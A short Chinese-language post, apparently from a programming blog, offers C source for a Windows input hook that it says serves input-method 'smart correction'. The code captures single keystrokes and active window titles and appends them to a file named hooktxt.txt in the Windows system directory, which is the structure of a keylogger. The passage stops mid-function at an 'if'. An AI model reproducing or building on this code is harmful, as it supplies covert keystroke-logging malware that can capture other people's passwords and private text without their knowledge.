我们在实现输入法的智能纠正的时候,需要获取输入法输入的信息,如何实现呢,钩子如下
#include "windows.h"
#include "imm.h"
#include "stdio.h"
//#define HOOK_API __declspec(dllexport)
HHOOK g_hHook = NULL; //hook句柄
HINSTANCE g_hHinstance = NULL; //程序句柄
HWND LastFocusWnd = 0;//上一次句柄,必须使全局的
HWND FocusWnd; //当前窗口句柄,必须使全局的
char title[256]; //获得窗口名字
char *ftemp; //begin/end 写到文件里面
char temptitle[256]="<<标题:"; //<<标题:窗口名字>>
char t[2]={0,0}; //捕获单个字母
void writefile(char *lpstr)
{//保存为文件
FILE* f1;
char cmd[256];
GetSystemDirectory(cmd,256);
strcat(cmd,"\\hooktxt.txt");
f1=fopen(cmd,"a+");
fwrite(lpstr,strlen(lpstr),1,f1);
fclose(f1);
}
void writtitle()
{//保存当前窗口
FocusWnd = GetActiveWindow();
if